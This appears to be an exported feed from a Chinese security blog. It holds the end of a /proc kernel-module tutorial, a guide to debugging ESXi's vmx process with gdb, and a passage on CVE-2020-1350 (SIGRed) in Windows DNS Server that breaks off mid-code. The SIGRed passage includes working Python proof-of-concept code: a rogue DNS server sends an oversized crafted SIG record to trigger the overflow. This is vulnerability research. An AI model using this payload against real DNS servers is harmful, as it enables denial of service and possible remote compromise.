-ENOMEM;</span><br><span class="line">      vfree(cookie_pot);</span><br><span class="line">      printk(KERN_INFO <span class="string">&quot;fortune: Couldn&#x27;t create proc entry\n&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      cookie_index = <span class="number">0</span>;</span><br><span class="line">      next_fortune = <span class="number">0</span>;</span><br><span class="line">      proc_entry-&gt;read_proc = fortune_read;<span class="comment">//这里定义输出函数</span></span><br><span class="line">      proc_entry-&gt;write_proc = fortune_write;<span class="comment">//定义输入函数</span></span><br><span class="line">      proc_entry-&gt;owner = THIS_MODULE;</span><br><span class="line">      printk(KERN_INFO <span class="string">&quot;fortune: Module loaded.\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">cleanup_fortune_module</span><span class="params">( <span class="type">void</span> )</span></span><br><span class="line">&#123;</span><br><span class="line">  remove_proc_entry(<span class="string">&quot;fortune&quot;</span>, &amp;proc_root);</span><br><span class="line">  vfree(cookie_pot);</span><br><span class="line">  printk(KERN_INFO <span class="string">&quot;fortune: Module unloaded.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">module_init( init_fortune_module );</span><br><span class="line">module_exit( cleanup_fortune_module );</span><br></pre></td></tr></table></figure><p>效果:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[root@plato]<span class="comment"># insmod fortune.ko</span></span><br><span class="line">[root@plato]<span class="comment"># echo &quot;Success is an individual proposition.  </span></span><br><span class="line">          Thomas Watson<span class="string">&quot; &gt; /proc/fortune</span></span><br><span class="line"><span class="string">[root@plato]# echo &quot;</span>If a man does his best, what <span class="keyword">else</span> is there?  </span><br><span class="line">                Gen. Patton<span class="string">&quot; &gt; /proc/fortune</span></span><br><span class="line"><span class="string">[root@plato]# echo &quot;</span>Cats: All your base are belong to us.  </span><br><span class="line">                      Zero Wing<span class="string">&quot; &gt; /proc/fortune</span></span><br><span class="line"><span class="string">[root@plato]# cat /proc/fortune</span></span><br><span class="line"><span class="string">Success is an individual proposition.  Thomas Watson</span></span><br><span class="line"><span class="string">[root@plato]# cat /proc/fortune</span></span><br><span class="line"><span class="string">If a man does his best, what else is there?  General Patton</span></span><br><span class="line"><span class="string">[root@plato]#</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x2F;proc 文件系统是一个虚拟文件系统，通过它可以使用一种新的方法在 Linux® 内核空间和用户空间之间进行通信。在 &amp;#x2F;proc 文件系统中，我们可以将对虚拟文件的读写作为与内核中实体进行通信的一种手段，但是与普通文件不同的是，这些虚拟文件的内容都是动态创建的.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>在ESXi中调试运行虚拟机的vmx程序(How to debug vmx in ESXi)</title>
    <link href="http://474172261.github.io/2023/02/22/debug_vmx_in_esxi/"/>
    <id>http://474172261.github.io/2023/02/22/debug_vmx_in_esxi/</id>
    <published>2023-02-22T11:54:44.181Z</published>
    <updated>2023-03-08T10:25:02.091Z</updated>
    
    <content type="html"><![CDATA[<p>ESXi自带一个子linux系统, 虽然能实现一部分功能, 但是目前为止, 依然没有公开的教程说过如何调试vmx进程, 本篇教程将分享我的研究成果, 帮助大家轻松调试虚拟机进程.</p><span id="more"></span><h2 id="最简单的方法"><a href="#最简单的方法" class="headerlink" title="最简单的方法"></a>最简单的方法</h2><p>首先, ESXi 自带一个gdbserver, 所以最简单的方法就是直接跑起程序, 再用gdbserver attach它. (最好用老一点的gdb, 比如gdb 7.8)</p><ol><li><p>跑起虚拟机, 查看vmx对应的进程id</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@192:~] ps|grep vmx</span><br><span class="line">70639  70639  vmx</span><br><span class="line">70643  70639  vmx-vthread-706</span><br><span class="line">70644  70639  vmx-filtPoll:c7</span><br><span class="line">70645  70639  vmx-mks:c7</span><br><span class="line">70646  70639  vmx-svga:c7</span><br><span class="line">70647  70639  vmx-vcpu-0:c7</span><br></pre></td></tr></table></figure></li><li><p>gdbserver attach 上去</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@192:~] gdbserver --attach :8808 70639</span><br><span class="line">Attached; pid = 70639</span><br><span class="line">!gdb_connected()</span><br><span class="line">!gdb_connected()</span><br><span class="line">!gdb_connected()</span><br><span class="line">!gdb_connected()</span><br><span class="line"></span><br><span class="line">[root@192:~] gdbserver --attach :8808 70639</span><br><span class="line">Attached; pid = 70639</span><br><span class="line">!gdb_connected()</span><br><span class="line">Listening on port 8808</span><br></pre></td></tr></table></figure><p>一定要保证出现<code>Listening on port</code>, 不然 ctrl+c 中断, 再重试就好, 目标进程不受影响.</p></li><li><p>找一台可以使用gdb的机器, 把ESXi中的vmx文件拷贝到机器中, 然后使用如下命令连接</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[root@192 vv]<span class="comment"># gdb -q</span></span><br><span class="line">gdb$ file Desktop/vmx-7.0-15843807.elf </span><br><span class="line">Reading symbols from /home/vv/Desktop/vmx-7.0-15843807.elf...Missing separate debuginfo <span class="keyword">for</span> /home/vv/Desktop/vmx-7.0-15843807.elf</span><br><span class="line">(no debugging symbols found)...<span class="keyword">done</span>.</span><br><span class="line">gdb$ target remote 192.168.170.240:8808</span><br><span class="line">Remote debugging using 192.168.170.240:8808</span><br><span class="line">=&gt; 0x8ce2771248 &lt;__libc_ifunc_impl_list+3304&gt;:cmp    rax,0xfffffffffffff000</span><br><span class="line">   0x8ce277124e &lt;__libc_ifunc_impl_list+3310&gt;:ja     0x8ce2771275 &lt;__libc_ifunc_impl_list+3349&gt;</span><br><span class="line"></span><br><span class="line">gdb$ </span><br></pre></td></tr></table></figure><p>这样就可以正常调试了</p></li></ol><h2 id="另一种方法-使用自己编译好的gdb"><a href="#另一种方法-使用自己编译好的gdb" class="headerlink" title="另一种方法-使用自己编译好的gdb"></a>另一种方法-使用自己编译好的gdb</h2><p>如果自带的gdbserver 不太好用, 那也可以自己源码静态编译一个gdb版本拷贝过去, 然后直接用.</p><ol><li><p>自己源码编译一个gdb, 或者用我编译好的<a href="/otherfile/gdb7_8.xz">gdb7.8 no python</a> 拷贝到esxi上</p><blockquote><p>如果要自己编译支持带python的gdb, 先下载python源码. 使用<code>./configure --prefix=/home/vv/python; make; make install</code> 编译安装python到&#x2F;home&#x2F;vv&#x2F;python. </p><p>然后下载gdb源码, 安装lzma开发组件<code>yum xz-devel texinfo</code>, 使用<code>./configure --prefix=/home/vv/gdb --enable-static --with-python=/home/vv/Desktop/python --with-lzma;make</code> 编译, 成功后<code>make install</code> 安装. 其它操作参考gdb10.2里给出的脚本.</p></blockquote><p>如果想编译11.0之后的gdb, 需要做一下修改, 修改如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> target_xfer_status</span><br><span class="line"><span class="title function_">linux_nat_target::xfer_partial</span> <span class="params">(<span class="keyword">enum</span> target_object object,</span></span><br><span class="line"><span class="params"><span class="type">const</span> <span class="type">char</span> *annex, gdb_byte *readbuf,</span></span><br><span class="line"><span class="params"><span class="type">const</span> gdb_byte *writebuf,</span></span><br><span class="line"><span class="params">ULONGEST offset, ULONGEST len, ULONGEST *xfered_len)</span></span><br><span class="line">&#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">if</span> (object == TARGET_OBJECT_MEMORY)</span><br><span class="line">    &#123;</span><br><span class="line">      ...</span><br><span class="line">-      <span class="keyword">return</span> linux_proc_xfer_memory_partial (readbuf, writebuf,</span><br><span class="line">-     offset, len, xfered_len);</span><br><span class="line">+       <span class="class"><span class="keyword">enum</span> <span class="title">target_xfer_status</span> <span class="title">ret</span> =</span> linux_proc_xfer_memory_partial (readbuf, writebuf,</span><br><span class="line">+     offset, len, xfered_len);</span><br><span class="line">+      <span class="keyword">if</span>(ret == TARGET_XFER_OK)&#123;<span class="keyword">return</span> ret;&#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> inf_ptrace_target::xfer_partial (object, annex, readbuf, writebuf,</span><br><span class="line">  offset, len, xfered_len);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>在11.0之后的版本读取目标进程内存时, 默认从&#x2F;proc&#x2F;pid&#x2F;mem读取,  而esxi上是没有这个文件的, 所以, 除非修改它的实现, 否则之后的版本不适合在esxi上用.</p><p>最好还是用7.8的版本, 否则容易有奇奇怪怪的问题</p></blockquote></li><li><p>运行起虚拟机</p></li><li><p>运行gdb, 一般会告诉你缺失libtinfo.so.5文件或者libncurses.so.5, 最简单的方法就是创建一个软链接, 把它自带的一个文件软链接成缺失的文件.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@192:~] <span class="built_in">ln</span> -s /lib64/libncurses.so.5 /lib64/libtinfo.so.5</span><br></pre></td></tr></table></figure><p>或者从centos 7 3.10内核的系统中拷贝一个过去放在lib64目录下.</p></li><li><p>使用gdb调试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb$ file /bin/vmx</span><br><span class="line">gdb$ <span class="built_in">set</span> architecture i386:x86-64:intel</span><br><span class="line">gdb$ attach xxxxx</span><br></pre></td></tr></table></figure></li></ol><p>以下是编译的带python 2.7 的gdb7.8的分块包(因为github最大支持25M), 可以通过<code>cat gdb78_p.tar.xz.* &gt; gdb10.2.tar.xz</code> 合并他们</p><p><a href="/otherfile/gdb78_p.tar.xz.s0">gdb78_p.tar.xz.s0</a> </p><p><a href="/otherfile/gdb78_p.tar.xz.s1">gdb78_p.tar.xz.s1</a></p><p><a href="/otherfile/gdb78_p.tar.xz.s2">gdb78_p.tar.xz.s2</a>  </p><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>如果发现ctrl+c不好使, 那么就把虚拟机的cpu个数设置为1. 如果还是不好使, 建议重新选个guest安装测试.</p><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><p>以下命令发表调试vmx</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apid=`ps|grep -m 1 &quot;vmx&quot;|cut -d &quot; &quot; -f 1`;gdb -ex &quot;file /bin/vmx&quot; -ex &quot;handle SIGPIPE nostop noprint pass&quot; -ex &quot;attach $apid&quot; -ex &quot;shell echo \&quot;set \\\$vmx=0x\$(cat /proc/\$(ps|grep -m 1 vmx|cut -d &#x27; &#x27; -f 1)/maps|grep -m 1 vmx|cut -d &#x27;-&#x27; -f 1)\&quot;&gt;/tmp/cmd&quot; -ex &quot;shell echo \&quot;set \\\$stk=0x\$(cat /proc/\$(ps|grep -m 1 vmx|cut -d &#x27; &#x27; -f 1)/maps|grep -m 1 stack|cut -d &#x27;-&#x27; -f 1)\&quot;&gt;&gt;/tmp/cmd&quot; -ex &quot;source /tmp/cmd&quot; -ex &quot;shell rm  /tmp/cmd&quot;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;ESXi自带一个子linux系统, 虽然能实现一部分功能, 但是目前为止, 依然没有公开的教程说过如何调试vmx进程, 本篇教程将分享我的研究成果, 帮助大家轻松调试虚拟机进程.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows DNS server从cve-2020-1350到内存泄露</title>
    <link href="http://474172261.github.io/2023/02/22/dns-overflow-and-memLeak/"/>
    <id>http://474172261.github.io/2023/02/22/dns-overflow-and-memLeak/</id>
    <published>2023-02-22T11:54:44.181Z</published>
    <updated>2020-10-18T08:07:54.000Z</updated>
    
    <content type="html"><![CDATA[<p>7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T. </p><p>原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)</p><span id="more"></span><h1 id="CVE-2020-1350漏洞成因"><a href="#CVE-2020-1350漏洞成因" class="headerlink" title="CVE-2020-1350漏洞成因"></a>CVE-2020-1350漏洞成因</h1><p><img src="/images/dns-memleak/bug.png"><br>溢出点在行19, 其中rest_size最大值可以是0xffff-29-namelen(举例, 对于网址v-v.space, 其namelen 为”\x03v-v\x05space\x00”的长度, 即11). 函数Name_PacketNameToCountNameEx读取的最大长度为0xff, 而RR_AllocateEx接受的第一个参数类型是u16类型, 从而在特殊情况下导致了整数溢出.</p><h1 id="poc构造思路"><a href="#poc构造思路" class="headerlink" title="poc构造思路"></a>poc构造思路</h1><p>虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.</p><ol><li>服务器管理器-&gt;工具-&gt;选择DNS-&gt;打开DNS管理器<br><img src="/images/dns-memleak/set_dns.png"></li><li>打开转发器配置界面，配置伪DNS服务器IP地址<br><img src="/images/dns-memleak/set_ip.png"><br>此处的ip就是我们需要发送poc的伪服务器地址.</li></ol><p>通过发现者发表的文章<a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/">SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers</a>中的这个图片</p><p> <img src="/images/dns-memleak/image-10.png" alt="img"> </p><p>可以知道, 触发路径是Tcp_Receiver -&gt; Answer_ProcessMessage -&gt; Recurse_ProcessResponse -&gt; Recurse_CacheMessageResourceRecords -&gt; Wire_CreateRecordFromWire -&gt; SigWireRead.</p><p>通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径. </p><p>那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">resp = <span class="string">&quot;\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">udp_handler</span>():</span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">    s.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">53</span>))</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        data, addr = s.recvfrom(<span class="number">2048</span>)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;received:&quot;</span>, data.encode(<span class="string">&#x27;hex&#x27;</span>), <span class="string">&quot;from&quot;</span>, addr</span><br><span class="line">        ba = <span class="built_in">bytearray</span>()</span><br><span class="line">        ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data+resp))</span><br><span class="line">        ba[<span class="number">2</span>] = <span class="number">0x86</span> <span class="comment"># 设置flags</span></span><br><span class="line">        ba[<span class="number">7</span>] = <span class="number">1</span> <span class="comment"># 设置PR为1个</span></span><br><span class="line">        data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">        l = s.sendto(data, addr)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;sent&quot;</span>, <span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&#x27;-++++++++++++++++++++++\n&#x27;</span></span><br><span class="line">    s.close()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;close udp&#x27;</span></span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tcp_handler</span>():</span><br><span class="line">    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    server.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>,<span class="number">53</span>))</span><br><span class="line">    server.listen(<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        conn,addr = server.accept()</span><br><span class="line">        <span class="built_in">print</span> addr</span><br><span class="line">        data = conn.recv(<span class="number">1024</span>)</span><br><span class="line">        ...</span><br><span class="line">        conn.send(new_data)</span><br></pre></td></tr></table></figure><p><img src="/images/dns-memleak/image-20201018123422565.png" alt="image-20201018123422565"></p><p><img src="/images/dns-memleak/image-20201018123504385.png" alt="image-20201018123504385"></p><p>之后, 向目标发起9999.v-v.space的dns请求:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> dns.message, dns.query</span><br><span class="line"><span class="keyword">import</span> thread</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">doer</span>():</span><br><span class="line">    m = dns.message.from_wire(<span class="string">&quot;\xce\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00&quot;</span>+<span class="string">&quot;\x049999&quot;</span>+<span class="string">&quot;\x03&quot;</span>+<span class="string">&quot;v-v&quot;</span>+<span class="string">&quot;\x05&quot;</span>+<span class="string">&quot;space&quot;</span>+<span class="string">&quot;\x00\x00\x01\x00\x01&quot;</span>) <span class="comment"># </span></span><br><span class="line">    mr = dns.query.udp(m, <span class="string">&#x27;192.168.170.134&#x27;</span>) <span class="comment"># here is the target dns server.</span></span><br><span class="line"></span><br><span class="line">doer()</span><br></pre></td></tr></table></figure><p>得到如下交互流程:</p><p><img src="/images/dns-memleak/image-20201018123817112.png" alt="image-20201018123817112"></p><p>从交互流程可以看到,  我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执.</p><p>接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -&gt; Tcp_ReceiveMessage的recv调用找到.</p><p>接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理.</p><p>当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.</p><p><img src="/images/dns-memleak/image-20201018125504229.png" alt="image-20201018125504229"></p><p>所以完整type46的poc如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> impacket.structure <span class="keyword">import</span> Structure</span><br><span class="line"><span class="keyword">import</span> dns.message, dns.query</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">resp = <span class="string">&quot;\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getNameLen</span>(<span class="params">data</span>):</span><br><span class="line">    s = <span class="number">0</span></span><br><span class="line">    o = <span class="number">14</span></span><br><span class="line">    l=<span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">while</span> l:</span><br><span class="line">        s += l+<span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span> l</span><br><span class="line">        o += <span class="number">1</span>+l</span><br><span class="line">        l = <span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> s+<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tcp_handler</span>():</span><br><span class="line">    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    server.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>,<span class="number">53</span>))</span><br><span class="line">    server.listen(<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        conn,addr = server.accept()</span><br><span class="line">        <span class="built_in">print</span>(conn,addr)</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                data = conn.recv(<span class="number">1024</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                <span class="comment"># print &#x27;recive:&#x27;,data.encode(&#x27;hex&#x27;)</span></span><br><span class="line">                ba = <span class="built_in">bytearray</span>()</span><br><span class="line">                poison = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff\xcc&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0xffff</span></span><br><span class="line">                data = data[:<span class="number">18</span>+getNameLen(data)]+poison</span><br><span class="line">                ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data[:<span class="number">0xffff</span>+<span class="number">2</span>]))</span><br><span class="line">                ba[<span class="number">0</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="number">0xffff</span>)[<span class="number">0</span>]</span><br><span class="line">                ba[<span class="number">1</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="number">0xffff</span>)[<span class="number">1</span>]</span><br><span class="line">                <span class="comment"># flags</span></span><br><span class="line">                ba[<span class="number">4</span>] = <span class="number">0x84</span></span><br><span class="line">                ba[<span class="number">5</span>] = <span class="number">0</span></span><br><span class="line">                <span class="comment"># answer PRs</span></span><br><span class="line">                ba[<span class="number">8</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">9</span>] = <span class="number">1</span></span><br><span class="line">                <span class="comment"># other prs</span></span><br><span class="line">                ba[<span class="number">10</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">11</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">12</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">13</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">                data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">                l = conn.send(data)</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;sent&#x27;</span>,<span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;---------------------------\n&#x27;</span></span><br><span class="line">                conn.close()</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;tcp recv exit&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">udp_handler</span>():</span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">    s.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">53</span>))</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        data, addr = s.recvfrom(<span class="number">2048</span>)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;received:&quot;</span>, data.encode(<span class="string">&#x27;hex&#x27;</span>), <span class="string">&quot;from&quot;</span>, addr</span><br><span class="line">        ba = <span class="built_in">bytearray</span>()</span><br><span class="line">        ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data+resp))</span><br><span class="line">        ba[<span class="number">2</span>] = <span class="number">0x86</span></span><br><span class="line">        ba[<span class="number">7</span>] = <span class="number">1</span></span><br><span class="line">        data = <span 